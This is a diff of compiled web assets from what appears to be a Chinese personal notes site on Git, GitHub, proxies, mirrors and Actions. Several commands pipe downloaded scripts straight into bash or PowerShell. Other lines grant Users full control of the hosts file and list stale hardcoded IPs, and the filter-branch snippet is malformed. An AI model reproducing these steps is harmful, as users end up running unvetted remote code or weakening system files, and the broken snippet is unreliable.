",8),_=n("code",null,"sudo apt update",-1),A={href:"https://link.zhihu.com/?target=https%3A//wiki.debian.org/Apt",target:"_blank",rel:"noopener noreferrer"},B=n("code",null,"sudo apt install package_name",-1),x=t(`如果软件仓库中没有关于某个包的信息, 将会报错
E: Unable to locate package
+
Ubuntu 对系统中的软件进行管理,更重要的是控制你在系统上获得哪个版本的软件
Ubuntu 不会立即提供该新版本的软件。需要一个步骤来检查此新版本的软件是否与系统兼容,从而可以确保系统的稳定性。
这就需要 PPA
Ubuntu 提供了一个名为 Launchpad 的平台,使软件开发人员能够创建自己的软件仓库。终端用户,也就是你,可以将 PPA 仓库添加到 sources.list
文件中,当你更新系统时,你的系统会知道这个新软件的可用性,然后你可以使用标准的 sudo apt install
命令安装它。
+sudo add-apt-repository ppa:dr-akulavich/lighttable
+
+sudo apt-get update
+
+sudo apt-get install lighttable-installer
+
配置 git config --global user.email "GitHub绑定邮箱"
+git config --global user.name "GitHub用户名"
+
仓库相关 查看远程仓库地址
常规操作
+git add .
+
+git commit -m "备注"
+
+git push origin master
+
撤销提交 当提交信息出问题或者当次提交没有勾全文件的时候可以撤销本次的提交, 当本次提交还没有 push 的时候可以采用如下方案
+git reset HEAD~1
+
+git reset HEAD~1 --soft
+
+git reset HEAD~1 --hard
+
分支操作
+git checkout -b bugFix
+
+git commit
+
+git checkout master
+
+git pull
+
+git checkout bugFix
+git merge master
+git push
+
+git merge bugFix
+
查看某个文件变动的所有历史记录 `,30),y={href:"https://blog.csdn.net/robertsong2004/article/details/46891695",target:"_blank",rel:"noopener noreferrer"},q=t(`
得到 commit id 之后就可以根据这个 id 查询对应的提交记录了
强制拉取远程更新覆盖本地仓库 git fetch --all
+git reset --hard origin/main
+git pull
+
批量修改提交名称与邮箱
+git filter - branch -- env-filter '
+if [ "$GIT_COMMITTER_EMAIL" = "origin_email" ]; then
+ export GIT_COMMITTER_EMAIL="new_email
+fi
+if [ "$GIT_AUTHOR_EMAIL" = "origin_email" ]; then
+ export GIT_AUTHOR_EMAIL="new_email"
+fi
+if [ "$GIT_COMMITTER_NAME" = "origin_name" ]; then
+ export GIT_COMMITTER_NAME="new_name"
+fi
+if [ "$GIT_AUTHOR_NAME" = "origin_name" ]; then
+ export GIT_AUTHOR_NAME="new_name"
+fi
+' -- tag-name-filter cat -- -- branches -- tags
+
+
然后 git push -f
如果提示无法强制推送则需要到仓库设置中允许该操作
relations code996 `,16),w={href:"https://github.com/hellodigua/code996",target:"_blank",rel:"noopener noreferrer"},G=n("p",null,"code996 是一个分析工具,它可以统计 Git 项目的 commit 时间分布,进而推导出这个项目的编码工作强度。",-1),P={href:"https://hellodigua.github.io/code996/",target:"_blank",rel:"noopener noreferrer"},D=t(`Mac 或 Linux 用户:
在 Git 项目的根目录 ,执行以下命令:
curl -fsSL https://fastly.jsdelivr.net/gh/hellodigua/code996/bin/code996.sh | bash
+
或者下载 https://fastly.jsdelivr.net/gh/hellodigua/code996/bin/code996.sh
后直接 bash code996.sh
Windows 用户:
下载该脚本 https://fastly.jsdelivr.net/gh/hellodigua/code996/bin/code996.sh
然后将该脚本移至要分析的 Git 项目目录,并执行以下命令:
iwr https://fastly.jsdelivr.net/gh/hellodigua/code996/bin/code996.ps1 -OutFile ( [ System.IO.Path] ::Combine( [ System.IO.Path] ::GetTempPath( ) , 'code996.ps1' )) ; & ( [ System.IO.Path] ::Combine( [ System.IO.Path] ::GetTempPath( ) , 'code996.ps1' )) ; ri ( [ System.IO.Path] ::Combine( [ System.IO.Path] ::GetTempPath( ) , 'code996.ps1' ))
+
`,8),T=n("p",null,"需要使用 PowerShell 7 或更高版本",-1),F={href:"https://github.com/Ayusummer/DailyNotes/blob/main/%E9%80%9A%E8%AF%86/%E8%BD%AF%E4%BB%B6%E7%9B%B8%E5%85%B3.md#powershell-7",target:"_blank",rel:"noopener noreferrer"},I=n("hr",null,null,-1),C=n("h2",{id:"learngitbranching",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#learngitbranching","aria-hidden":"true"},"#"),a(" learnGitBranching")],-1),M={href:"https://github.com/pcottle/learnGitBranching",target:"_blank",rel:"noopener noreferrer"},N={href:"https://gitee.com/ayusummer233/learnGitBranching",target:"_blank",rel:"noopener noreferrer"},U=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/img/202208261947482.png",alt:"image-20220826194715403"})],-1),O=n("p",null,"选择一台设备装好 Python 和 nodejs+yarn 并配置好 Git, 本次试验环境为 ubuntu16.04",-1),S={href:"https://github.com/Ayusummer/DailyNotes/blob/main/%E5%89%8D%E7%AB%AF/%E9%80%9A%E8%AF%86.md#ubuntu-%E5%AE%89%E8%A3%85-yarn",target:"_blank",rel:"noopener noreferrer"},L=t(`
+curl -fsSL https://deb.nodesource.com/setup_16.x | sudo -E bash -
+sudo apt-get install -y nodejs
+
+npm config set registry https://registry.npm.taobao.org
+
+npm config get registry
+
+
+curl -sS https://dl.yarnpkg.com/debian/pubkey.gpg | sudo apt-key add -
+echo "deb https://dl.yarnpkg.com/debian/ stable main" | sudo tee /etc/apt/sources.list.d/yarn.list
+sudo apt update
+sudo apt install yarn
+
`,1),H=t(`
+git clone https://gitee.com/ayusummer233/learnGitBranching.git
+
+yarn install
+yarn gulp fastBuild
+yarn gulp build
+
+screen -S gitLearn
+
+python -m http.server 9222
+
+
常见问题 fatal: Authentication failed `,5),R={href:"https://github.blog/2020-12-15-token-authentication-requirements-for-git-operations/",target:"_blank",rel:"noopener noreferrer"},j={href:"https://docs.github.com/cn/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token",target:"_blank",rel:"noopener noreferrer"},z=t(`remote: Support for password authentication was removed on August 13, 2021. Please use a personal access token instead. remote: Please see https://github.blog/2020-12-15-token-authentication-requirements-for-git-operations/ for more information. fatal: Authentication failed for 'https://github.com/Ayusummer/vue-vben-admin.git/'
需要在 github 上创建一个私有的 access token 来用
填写自拟的token名并设置过期时间以及权限后点击页面左下角的 Generate token
创建即可
Warning: Treat your tokens like passwords and keep them secret. When working with the API, use tokens as environment variables instead of hardcoding them into your programs.
然后就可以通过 username
和 token
来进行一些权限操作了
filename too lang git config --system core.longpaths true
+
拉取时间过长 排除了网络问题后, 如果仓库过大导致拉取时间很长, 可以尝试只 clone 到最近一次提交:
git clone xxxxxxx --depth 1
+
`,17);function W(V,$){const e=l("ExternalLinkIcon");return o(),c("div",null,[p,n("blockquote",null,[n("p",null,[n("a",d,[a("Git飞行规则-git-flight-rules/README_zh-CN.md at master · k88hudson/git-flight-rules (github.com)"),s(e)])])]),u,n("blockquote",null,[n("p",null,[n("a",h,[a("How to upgrade Git on Windows to the latest version - Stack Overflow"),s(e)])])]),m,n("blockquote",null,[n("p",null,[a("通过命令行下载慢的话可以选择 "),n("a",b,[a("Git (git-scm.com)"),s(e)]),a(" 下载 exe 执行更新即可")])]),v,n("blockquote",null,[n("p",null,[n("a",g,[a("Ubuntu PPA 使用指南 - 知乎 (zhihu.com)"),s(e)]),a("["),k,a("]")]),n("p",null,[n("a",f,[a("What is PPA in Ubuntu Linux and How Do I Use Them (ubuntupit.com)"),s(e)])])]),E,n("p",null,[a("当运行 "),_,a(" 命令时,系统将使用 "),n("a",A,[a("APT 工具"),s(e)]),a(" 来检查软件仓库并将软件及其版本信息存储在缓存中。当使用 "),B,a(" 命令时,它通过该信息从实际存储软件的网址获取该软件包")]),x,n("blockquote",null,[n("p",null,[a("["),n("a",y,[a("小技巧] git 中查看某个文件是什么时候被删除的_HaveFunInLinux的博客-CSDN博客_git 查看某个文件什么时候被删除"),s(e)])])]),q,n("blockquote",null,[n("p",null,[n("a",w,[a("hellodigua/code996: code996 是一个分析工具,它可以统计 Git 项目的 commit 时间分布,进而推导出这个项目的编码工作强度 (github.com)"),s(e)])]),G]),n("p",null,[n("a",P,[a("Preview"),s(e)])]),D,n("blockquote",null,[T,n("p",null,[n("a",F,[a("PowerShell 7相关"),s(e)])])]),I,C,n("blockquote",null,[n("p",null,[n("a",M,[a("pcottle/learnGitBranching: An interactive git visualization and tutorial. Aspiring students of git can use this app to educate and challenge themselves towards mastery of git! (github.com)"),s(e)])])]),n("p",null,[a("Github 仓库拉取速度可能会比较慢, 所以可以将其导入到 Gitee 仓库中: "),n("a",N,[a("learnGitBranching: https://github.com/pcottle/learnGitBranching 学习 Git, 用于个人部署 (gitee.com)"),s(e)])]),U,O,n("blockquote",null,[n("p",null,[n("a",S,[a("Ubuntu 安装 yarn 可参考此项"),s(e)])]),L]),H,n("blockquote",null,[n("p",null,[n("a",R,[a("Token authentication requirements for Git operations | The GitHub Blog"),s(e)])]),n("p",null,[n("a",j,[a("Creating a personal access token - GitHub Docs"),s(e)])])]),z])}const Q=i(r,[["render",W],["__file","Git.html.vue"]]);export{Q as default};
diff --git a/assets/Gitee.html-bf574842.js b/assets/Gitee.html-bf574842.js
new file mode 100644
index 0000000000..7e2e077be1
--- /dev/null
+++ b/assets/Gitee.html-bf574842.js
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-6f3eb294","path":"/%E7%A4%BE%E5%8C%BA%E7%9B%B8%E5%85%B3/Gitee.html","title":"","lang":"zh-CN","frontmatter":{},"headers":[],"git":{"createdTime":1667837978000,"updatedTime":1667837978000,"contributors":[{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":0.11,"words":33},"filePathRelative":"社区相关/Gitee.md","localizedDate":"2022年11月7日","excerpt":""}');export{e as data};
diff --git a/assets/Gitee.html-c70164e6.js b/assets/Gitee.html-c70164e6.js
new file mode 100644
index 0000000000..e1ff5598dd
--- /dev/null
+++ b/assets/Gitee.html-c70164e6.js
@@ -0,0 +1,8 @@
+import{_ as e}from"./plugin-vue_export-helper-c27b6911.js";import{o as t,c as n,a as o}from"./app-880c6425.js";const s={};function r(a,i){return t(),n("div",null,[o(`
+ * @Author: your name
+ * @Date: 2021-01-21 23:01:37
+ * @LastEditTime: 2021-01-22 00:01:27
+ * @LastEditors: Please set LastEditors
+ * @Description: In User Settings Edit
+ * @FilePath: \\DailyNotes\\社区相关\\Gitee.md
+`)])}const l=e(s,[["render",r],["__file","Gitee.html.vue"]]);export{l as default};
diff --git a/assets/Github.html-4f601888.js b/assets/Github.html-4f601888.js
new file mode 100644
index 0000000000..c0398d1b59
--- /dev/null
+++ b/assets/Github.html-4f601888.js
@@ -0,0 +1 @@
+const l=JSON.parse('{"key":"v-1f40be27","path":"/%E7%A4%BE%E5%8C%BA%E7%9B%B8%E5%85%B3/Github.html","title":"Github","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"加速","slug":"加速","link":"#加速","children":[{"level":3,"title":"Github 镜像","slug":"github-镜像","link":"#github-镜像","children":[]},{"level":3,"title":"PC网页端用户头像加载不出来","slug":"pc网页端用户头像加载不出来","link":"#pc网页端用户头像加载不出来","children":[]}]},{"level":2,"title":"Git配置","slug":"git配置","link":"#git配置","children":[{"level":3,"title":"SSH Key","slug":"ssh-key","link":"#ssh-key","children":[]},{"level":3,"title":"本地仓库切换 https 到 ssh","slug":"本地仓库切换-https-到-ssh","link":"#本地仓库切换-https-到-ssh","children":[]},{"level":3,"title":"SSH 代理","slug":"ssh-代理","link":"#ssh-代理","children":[]}]},{"level":2,"title":"简介","slug":"简介","link":"#简介","children":[{"level":3,"title":"Commit","slug":"commit","link":"#commit","children":[]},{"level":3,"title":"Issues","slug":"issues","link":"#issues","children":[]},{"level":3,"title":"Pull Request","slug":"pull-request","link":"#pull-request","children":[]}]},{"level":2,"title":"Actions","slug":"actions","link":"#actions","children":[{"level":3,"title":"基本概念","slug":"基本概念","link":"#基本概念","children":[]},{"level":3,"title":"workflow","slug":"workflow","link":"#workflow","children":[]}]},{"level":2,"title":"Markdown","slug":"markdown","link":"#markdown","children":[{"level":3,"title":"数学公式","slug":"数学公式","link":"#数学公式","children":[]}]},{"level":2,"title":"webhooks","slug":"webhooks","link":"#webhooks","children":[{"level":3,"title":"借助钉钉的Github机器人将仓库变动通知到钉钉群里","slug":"借助钉钉的github机器人将仓库变动通知到钉钉群里","link":"#借助钉钉的github机器人将仓库变动通知到钉钉群里","children":[]}]},{"level":2,"title":"开源许可证选择","slug":"开源许可证选择","link":"#开源许可证选择","children":[]},{"level":2,"title":"常见问题","slug":"常见问题","link":"#常见问题","children":[{"level":3,"title":".git过大","slug":"git过大","link":"#git过大","children":[]},{"level":3,"title":"腾讯云 github 连接超时问题","slug":"腾讯云-github-连接超时问题","link":"#腾讯云-github-连接超时问题","children":[]}]},{"level":2,"title":"报错处理","slug":"报错处理","link":"#报错处理","children":[{"level":3,"title":"Failed to connect to github.com port 443 after 21063 ms: Timed out","slug":"failed-to-connect-to-github-com-port-443-after-21063-ms-timed-out","link":"#failed-to-connect-to-github-com-port-443-after-21063-ms-timed-out","children":[]},{"level":3,"title":"OpenSSL SSL_read: Connection was reset, errno 10054","slug":"openssl-ssl-read-connection-was-reset-errno-10054","link":"#openssl-ssl-read-connection-was-reset-errno-10054","children":[]}]},{"level":2,"title":"未成功归档/TODO","slug":"未成功归档-todo","link":"#未成功归档-todo","children":[{"level":3,"title":"Nginx 反代 Github(TODO: mark下, 没成功跑起来)","slug":"nginx-反代-github-todo-mark下-没成功跑起来","link":"#nginx-反代-github-todo-mark下-没成功跑起来","children":[]}]}],"git":{"createdTime":1667837978000,"updatedTime":1695232144000,"contributors":[{"name":"233Official","email":"ayusummer233@qq.com","commits":4},{"name":"233PC","email":"ayusummer233@qq.com","commits":3},{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":3},{"name":"233Laptop","email":"ayusummer233@qq.com","commits":1},{"name":"233Official","email":"ayusummr233@gmail.com","commits":1}]},"readingTime":{"minutes":19.39,"words":5816},"filePathRelative":"社区相关/Github.md","localizedDate":"2022年11月7日","excerpt":""}');export{l as data};
diff --git a/assets/Github.html-d77c5e68.js b/assets/Github.html-d77c5e68.js
new file mode 100644
index 0000000000..1d92ed491f
--- /dev/null
+++ b/assets/Github.html-d77c5e68.js
@@ -0,0 +1,231 @@
+import{_ as o}from"./plugin-vue_export-helper-c27b6911.js";import{r as i,o as l,c,b as n,e as s,d as e,f as t}from"./app-880c6425.js";const p={},r=t(' Github 加速 通用的加速方案最好的措施就是用代理
对于不方便使用代理的场景, 如果是 clone 或者下载项目压缩包, releases 的场景, 可以使用镜像
除此以外, watt Toolkit 等工具也可以用
最不济可以手动改 host
Github 镜像 ',10),u={href:"https://github.com/eryajf/Thanks-Mirror#github",target:"_blank",rel:"noopener noreferrer"},d=n("hr",null,null,-1),h=n("h4",{id:"mirrors",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#mirrors","aria-hidden":"true"},"#"),s(" Mirrors")],-1),m=n("p",null,"GitHub 相关的国内镜像,有不同的使用方式,这里仅列出目前可用的国内镜像,具体用法请查阅镜像的官方说明。",-1),b=n("p",null,"https://hub.fastgit.xyz/",-1),k={href:"https://doc.fastgit.org/zh-cn/",target:"_blank",rel:"noopener noreferrer"},v=n("p",null,"类似fastgit的还有:",-1),g=n("ul",null,[n("li",null,"https://hub.yzuu.cf/"),n("li",null,"https://hub.njuu.cf/")],-1),_=n("p",null,"https://gitclone.com/",-1),f=n("code",null,"GitHub",-1),y={href:"https://gitclone.com/docs/feature/gitclone_web",target:"_blank",rel:"noopener noreferrer"},x=t("https://ghproxy.com/
GitHub
文件 , Releases , archive , gist , raw.githubusercontent.com
文件代理加速下载服务,使用细则参见官方。
https://toolwa.com/github/
https://github.91chi.fun/
https://github.abskoop.workers.dev/
https://pd.zwc365.com/
https://gh.con.sh/
https://www.7ed.net/#/raw-cdn
",7),w=n("p",null,"也可以通过其他方式提供的加速方案。",-1),E={href:"https://greasyfork.org/zh-CN/scripts/397419-fastgithub-%E9%95%9C%E5%83%8F%E5%8A%A0%E9%80%9F%E8%AE%BF%E9%97%AE-%E5%85%8B%E9%9A%86%E5%92%8C%E4%B8%8B%E8%BD%BD",target:"_blank",rel:"noopener noreferrer"},A=n("p",null,[s("安装之后,会直接在 "),n("code",null,"GitHub"),s(" 项目当中出现可用的国内加速克隆方式,比较方便,推荐安装。")],-1),S={href:"https://chrome.google.com/webstore/detail/github%E5%8A%A0%E9%80%9F/ffjjnphohkfckeplcjflmgneebafggej?hl=zh",target:"_blank",rel:"noopener noreferrer"},N=n("p",null,"与油猴脚本效果一致,只是通过插件的形式安装配置。",-1),D=t(` 镜像测速
+import os
+import re
+
+
+def ping_linux ( host: str , count: int = 4 ) - > float :
+ """Linux 下的 ping 命令
+ :param host: 域名
+ :param count: ping 的次数
+ :return: 返回平均响应时长
+ """
+ output = os. popen( f'ping { host} -c { count} ' ) . read( )
+ try :
+ min , avg, max , mdev = re. findall( r'rtt min/avg/max/mdev = (\\d+\\.\\d+)/(\\d+\\.\\d+)/(\\d+\\.\\d+)/(\\d+\\.\\d+) ms' , output) [ 0 ]
+ print ( f' { host} { avg} ms' )
+
+ except IndexError:
+ print ( f' { host} 超时' )
+ return 999999
+ return float ( avg)
+
+
+def split_url_to_hosts ( source_path: str ) - > list :
+ """将源列表每个条目拆分成 [协议, 域名, 路径] 的格式并返回所有条目拆分完后的嵌套列表
+ :param source_path: 源文件
+ :return: 拆分后的嵌套列表
+ """
+ with open ( source_path, 'r' ) as f:
+ hosts = f. read( ) . splitlines( )
+ for i in range ( len ( hosts) ) :
+ hosts[ i] = hosts[ i] . strip( )
+
+ main_split = hosts[ i] . split( '://' )
+
+
+ first_fragment = main_split[ 0 ] + '://'
+
+ second_fragment = main_split[ 1 ] . split( '/' ) [ 0 ]
+
+ third_fragment = '/' + '/' . join( main_split[ 1 ] . split( '/' ) [ 1 : ] )
+
+
+ hosts[ i] = [ first_fragment, second_fragment, third_fragment]
+
+ return hosts
+
+
+def sort_write_hosts ( hosts: list , target_path: str ) - > None :
+ """根据对源文件拆分后的嵌套列表中的域名进行 ping 操作, 并将结果按响应时间升序输出到目的文件
+ :param hosts: 源文件拆分后的嵌套列表
+ :param target_path: 目标输出文件路径
+ :return: None
+ """
+
+ for i in range ( len ( hosts) ) :
+ hosts[ i] . append( ping_linux( hosts[ i] [ 1 ] ) )
+
+ hosts. sort( key= lambda x: x[ 3 ] )
+
+ with open ( target_path, 'w' ) as f:
+ for host in hosts:
+ f. write( f' { host[ 0 ] } { host[ 1 ] } { host[ 2 ] } { host[ 3 ] } ms \\n' )
+
+
+def sort_sources ( source_path: str , target_path: str ) - > None :
+ """对源文件(kali 镜像列表)进行排序, 并按照响应时间升序输出到目的文件
+ :param source_path: kali 镜像列表文件路径
+ :param target_path: 按照相应时间升序输出的目的文件路径
+ """
+ print ( "开始拆分源文件..." )
+
+ hosts = split_url_to_hosts( source_path)
+ print ( "拆分完成, 开始排序..." )
+
+ sort_write_hosts( hosts, target_path)
+ print ( "排序完成, 请查看目的文件" )
+
+
+if __name__ == '__main__' :
+ source_path = os. path. join( os. path. dirname( __file__) , 'sources_github.txt' )
+ target_path = os. path. join( os. path. dirname( __file__) , 'result_github.txt' )
+ sort_sources( source_path, target_path)
+
PC网页端用户头像加载不出来 `,5),q={href:"https://zhuanlan.zhihu.com/p/139219691",target:"_blank",rel:"noopener noreferrer"},C=t(`当前无法显示用户头像的页面下Ctrl+Shift+C
打开元素选择器选择未加载出的头像定位到其在源码中的标签并记下其域名 打开https://www.ipaddress.com/
输入域名并回车得到一个ip 打开路径C:\\Windows\\System32\\drivers\\etc
修改该路径下的host
文件的文件属性中的安全
一栏中的Users
组的权限,勾选完全控制
用记事本打开host
文件,在末尾粘贴以下文字并保存退出,返回原网页刷新即可# GitHub Start(更新于2021.1.22)
+140.82.113.3 github.com
+140.82.114.20 gist.github.com
+
+199.232.96.133 assets-cdn.github.com
+199.232.96.133 raw.githubusercontent.com
+199.232.96.133 gist.githubusercontent.com
+199.232.96.133 cloud.githubusercontent.com
+199.232.96.133 camo.githubusercontent.com
+199.232.96.133 avatars.githubusercontent.com
+199.232.68.133 avatars.githubusercontent.com
+199.232.96.133 avatars0.githubusercontent.com
+199.232.68.133 avatars0.githubusercontent.com
+199.232.28.133 avatars1.githubusercontent.com
+199.232.96.133 avatars1.githubusercontent.com
+199.232.96.133 avatars2.githubusercontent.com
+199.232.28.133 avatars2.githubusercontent.com
+199.232.96.133 avatars3.githubusercontent.com
+199.232.68.133 avatars3.githubusercontent.com
+199.232.96.133 avatars4.githubusercontent.com
+199.232.68.133 avatars4.githubusercontent.com
+199.232.96.133 avatars5.githubusercontent.com
+199.232.68.133 avatars5.githubusercontent.com
+199.232.96.133 avatars6.githubusercontent.com
+199.232.68.133 avatars6.githubusercontent.com
+199.232.96.133 avatars7.githubusercontent.com
+199.232.68.133 avatars7.githubusercontent.com
+199.232.96.133 avatars8.githubusercontent.com
+199.232.68.133 avatars8.githubusercontent.com
+
+# GitHub End
+
如若你得到的ip并非199.232.96.133
则只需把上面代码中的199.232.96.133
利用查找替换替换为你得到的ip即可(当再次无法看到头像时可以试着重查一次ip然后替换掉原ip)
`,5),B=n("hr",null,null,-1),j=n("h2",{id:"git配置",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#git配置","aria-hidden":"true"},"#"),s(" Git配置")],-1),G={href:"https://www.jianshu.com/p/b481d2a42274",target:"_blank",rel:"noopener noreferrer"},H=n("hr",null,null,-1),F=t(`设置用户名git config --global user.name "GitHub用户名"
+
用户名随个人喜好即可,并非必须要Github的用户名,可以起一个能够代表当前修改环境的名字 设置用户邮箱git config --global user.email "GitHub绑定邮箱"
+
查看当前配置项列表 删除某个配置项(以user.name
为例)git config --global --unset user.name
+
编辑某个配置项git config --global --edit user.name '用户名'
+
使用 VSCode 拉取更新与推送修改经常出错, 需要配置代理(以本地 7890 端口为例), 在本地项目根目录下打开命令行进行代理配置:
git config http.proxy http://127.0.0.1:7890
+git config https.proxy http://127.0.0.1:7890
+git config core.gitPorxy socks5://127.0.0.1:7890
+
可以配置全局代理, 但是由于本地还有在用内网的 gitlab, 所以不适合配全局, 这里是针对项目配的
取消代理配置如下:
git config --global --unset http.proxy
+git config --global --unset https.proxy
+git config --global --unset core.gitPorxy
+
SSH Key `,7),O={href:"https://blog.csdn.net/qq_45515863/article/details/106312232",target:"_blank",rel:"noopener noreferrer"},U=t(`在主机创建 ssh key
ssh-keygen -t rsa -C "youremail@example.com"
+
-C(comment)
随便填, 有辨识度就行
运行命令后一路回车默认配置, 根据运行提示找到 公钥 id_rsa.pub
Github 右上角头像 -> Settings -> SSH and GPG keys -> add new ssh key
title 随便填, key 粘贴 id_rsa.pub
的全部内容
在主机上使用
来 clone 仓库
需要注意的是在 Linux 上使用不同的用户创建的 ssh-key 加入到 github 后也只有对应的用户可以使用, 当切换用户后需要将该用户的 ssh-key 也加入到 Github 的 SSH-key 中方可使用
本地仓库切换 https 到 ssh `,4),R={href:"https://github.com/vernesong/OpenClash/issues/1960#issuecomment-1019101426",target:"_blank",rel:"noopener noreferrer"},T=n("p",null,"[Correct way to set git proxy - Kirovj's Chaos --- 设置 git 代理的正确方法 - Kirovj's Chaos (wuyiting.cn)](https://www.wuyiting.cn/blog/Correct way to set git proxy)",-1),L={href:"https://blog.csdn.net/Wrysmile0308/article/details/128801870",target:"_blank",rel:"noopener noreferrer"},P={href:"https://github.com/orgs/community/discussions/50878",target:"_blank",rel:"noopener noreferrer"},M={href:"https://github.blog/2023-03-23-we-updated-our-rsa-ssh-host-key/",target:"_blank",rel:"noopener noreferrer"},z=t(`可以使用如下命令查看当前仓库的远程 URL:
要想从 https(ssh) 切到 ssh(https) 的话可以如下设置:
+git remote set-url origin git@github.com:Ayusummer/DailyNotes.git
+
SSH 代理 最近更新仓库时总是莫名其妙被重置, 见到了好多奇怪的报错, 包括但不限于
Connection reset by 20.205.243.166 port 22
+fatal: Could not read from remote repository.
+
+Please make sure you have the correct access rights
+and the repository exists.
+
Error: Unable to Fetch from Remote(s)
+kex_exchange_identification: Connection closed by remote host
+Connection closed by UNKNOWN port 65535
+fatal: Could not read from remote repository.
+
+Please make sure you have the correct access rights
+and the repository exists.
+
Error: Unable to Fetch from Remote(s)
+Host key verification failed.
+fatal: Could not read from remote repository.
+
+Please make sure you have the correct access rights
+and the repository exists.
+
最终达成的解决方案是
把本地的密钥对删了, 重新新建一对密钥并将公钥添加到 github ssh key
清除本地 know_hosts
中的 github 条目
如果有 know_hosts.old
文件, 可以直接把这个 old 删了
配置 ssh 使用本地代理, 以 clash 默认 7890 端口为例
配置文件在 ~/.ssh/config
, 不存在则新建, 对于 windows 而言可以是:
写入如下配置
Host github.com
+ Hostname ssh.github.com
+ Port 443
+ User git
+ ProxyCommand connect -H 127.0.0.1:7890 %h %p
+
关闭 VSCode, 重新打开即可, 可以 git fetch 看下效果
至少我如此操作成功修复了, 后续再遇到类似问题再看吧(
简介 Commit 规范 `,21),I={href:"https://github.com/UvDream/git-commit-lint-vscode",target:"_blank",rel:"noopener noreferrer"},K=t('参照 Angular
社区的提交规范并结合 emoji, 上面参考链接里这位老哥开发了一款 VSCode
git 规范化提交插件 git-commit-lint-vscode
, 提交的时候可视化选择类型然后再手打详细信息
Issues Pull Request ',6),V={href:"https://www.zhihu.com/question/21682976",target:"_blank",rel:"noopener noreferrer"},W=n("li",null,"以下为文章原文:",-1),$=n("li",null,[s("我尝试用类比的方法来解释一下 pull reqeust。想想我们中学考试,老师改卷的场景吧。 "),n("ul",null,[n("li",null,"你做的试卷就像仓库,你的试卷肯定会有很多错误,就相当于程序里的 bug。"),n("li",null,[s("老师把你的试卷拿过来,相当于先 fork。 "),n("ul",null,[n("li",null,"在你的卷子上做一些修改批注,相当于 git commit。"),n("li",null,"最后把改好的试卷给你,相当于发 pull request,")])]),n("li",null,"你拿到试卷重新改正错误,相当于 merge。")])],-1),J=n("hr",null,null,-1),Y=n("h2",{id:"actions",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#actions","aria-hidden":"true"},"#"),s(" Actions")],-1),Q={href:"http://www.ruanyifeng.com/blog/2019/09/getting-started-with-github-actions.html",target:"_blank",rel:"noopener noreferrer"},X={href:"https://docs.github.com/cn/github-ae@latest/actions/using-workflows/about-workflows",target:"_blank",rel:"noopener noreferrer"},Z=n("p",null,"持续集成由很多操作组成,比如抓取代码、运行测试、登录远程服务器,发布到第三方服务等等。GitHub 把这些操作就称为 actions。",-1),nn=n("p",null,"很多操作在不同项目里面是类似的,完全可以共享。GitHub 允许开发者把每个操作写成独立的脚本文件,存放到代码仓库,使得其他开发者可以引用。",-1),sn=n("p",null,"如果你需要某个 action,不必自己写复杂的脚本,直接引用他人写好的 action 即可,整个持续集成过程,就变成了一个 actions 的组合。这就是 GitHub Actions 最特别的地方。",-1),an={href:"https://github.com/marketplace?type=actions",target:"_blank",rel:"noopener noreferrer"},en={href:"https://github.com/sdras/awesome-actions",target:"_blank",rel:"noopener noreferrer"},tn=n("code",null,"userName/repoName",-1),on=n("code",null,"actions/setup-node",-1),ln=n("code",null,"github.com/actions/setup-node",-1),cn={href:"https://github.com/actions/setup-node",target:"_blank",rel:"noopener noreferrer"},pn={href:"https://github.com/actions",target:"_blank",rel:"noopener noreferrer"},rn={href:"https://help.github.com/en/articles/about-actions#versioning-your-action",target:"_blank",rel:"noopener noreferrer"},un=t(`actions/setup-node@74bc508
+actions/setup-node@v1.0
+actions/setup-node@master
+
基本概念 workflow
: 持续集成一次运行的过程,就是一个 workflow。job
: 一个 workflow 由一个或多个 jobs 构成,含义是一次持续集成的运行,可以完成多个任务。step
: 每个 job 由多个 step 构成,一步步完成。action
: 每个 step 可以依次执行一个或多个命令(action)。 workflow GitHub Actions 的配置文件叫做 workflow 文件,存放在代码仓库的.github/workflows
目录。
`,7),dn={href:"https://www.ruanyifeng.com/blog/2016/07/yaml.html",target:"_blank",rel:"noopener noreferrer"},hn=n("code",null,".yml",-1),mn=n("code",null,"foo.yml",-1),bn=n("code",null,".github/workflows",-1),kn=n("code",null,".yml",-1),vn=n("blockquote",null,[n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/img/202205220719879.png",alt:"image-20220522071931643"})])],-1),gn={href:"https://help.github.com/en/articles/workflow-syntax-for-github-actions",target:"_blank",rel:"noopener noreferrer"},_n=t(`name
: name
字段是 workflow 的名称。如果省略该字段,默认为当前 workflow 的文件名。
`,1),fn=t(`on
: on
字段指定触发 workflow 的条件,通常是某些事件。
上面代码指定,push
事件触发 workflow。
on
字段也可以是事件的数组。
on : [ push, pull_request]
+
`,5),yn={href:"https://help.github.com/en/articles/events-that-trigger-workflows",target:"_blank",rel:"noopener noreferrer"},xn=t(`on.<push|pull_request>.<tags|branches>
: 指定触发事件时,可以限定分支或标签。
on :
+ push :
+ branches :
+ - master
+
当使用 push
事件时, 可以配置 workflow
运行在指定的 branch
或是 tag
上
如果希望包含 branch
名称模式,或者希望同时包含和排除 branch
名称模式,可以使用 branch
筛选器。当只想排除分支名称模式时,使用branches-ignore
筛选器。注意不能对工作流中的同一事件同时使用 branches
和 branches-ignore
筛选器
对于 tag
处理和上述 branch
处理相似
`,5),wn=n("code",null,"paths",-1),En=n("code",null,"paths-gnore",-1),An=n("code",null,"*",-1),Sn=n("code",null,"**",-1),Nn={href:"https://docs.github.com/cn/github-ae@latest/actions/using-workflows/workflow-syntax-for-github-actions#filter-pattern-cheat-sheet",target:"_blank",rel:"noopener noreferrer"},Dn=t(`jobs.<job_id>.name
workflow 文件的主体是jobs
字段,表示要执行的一项或多项任务。
jobs
字段里面,需要写出每一项任务的job_id
,具体名称自定义。job_id
里面的name
字段是任务的说明。
jobs :
+ my_first_job :
+ name : My first job
+ my_second_job :
+ name : My second job
+
上面代码的jobs
字段包含两项任务,job_id
分别是my_first_job
和my_second_job
。
jobs :
+ build :
+ name : Create Release
+
job_id
: build; name
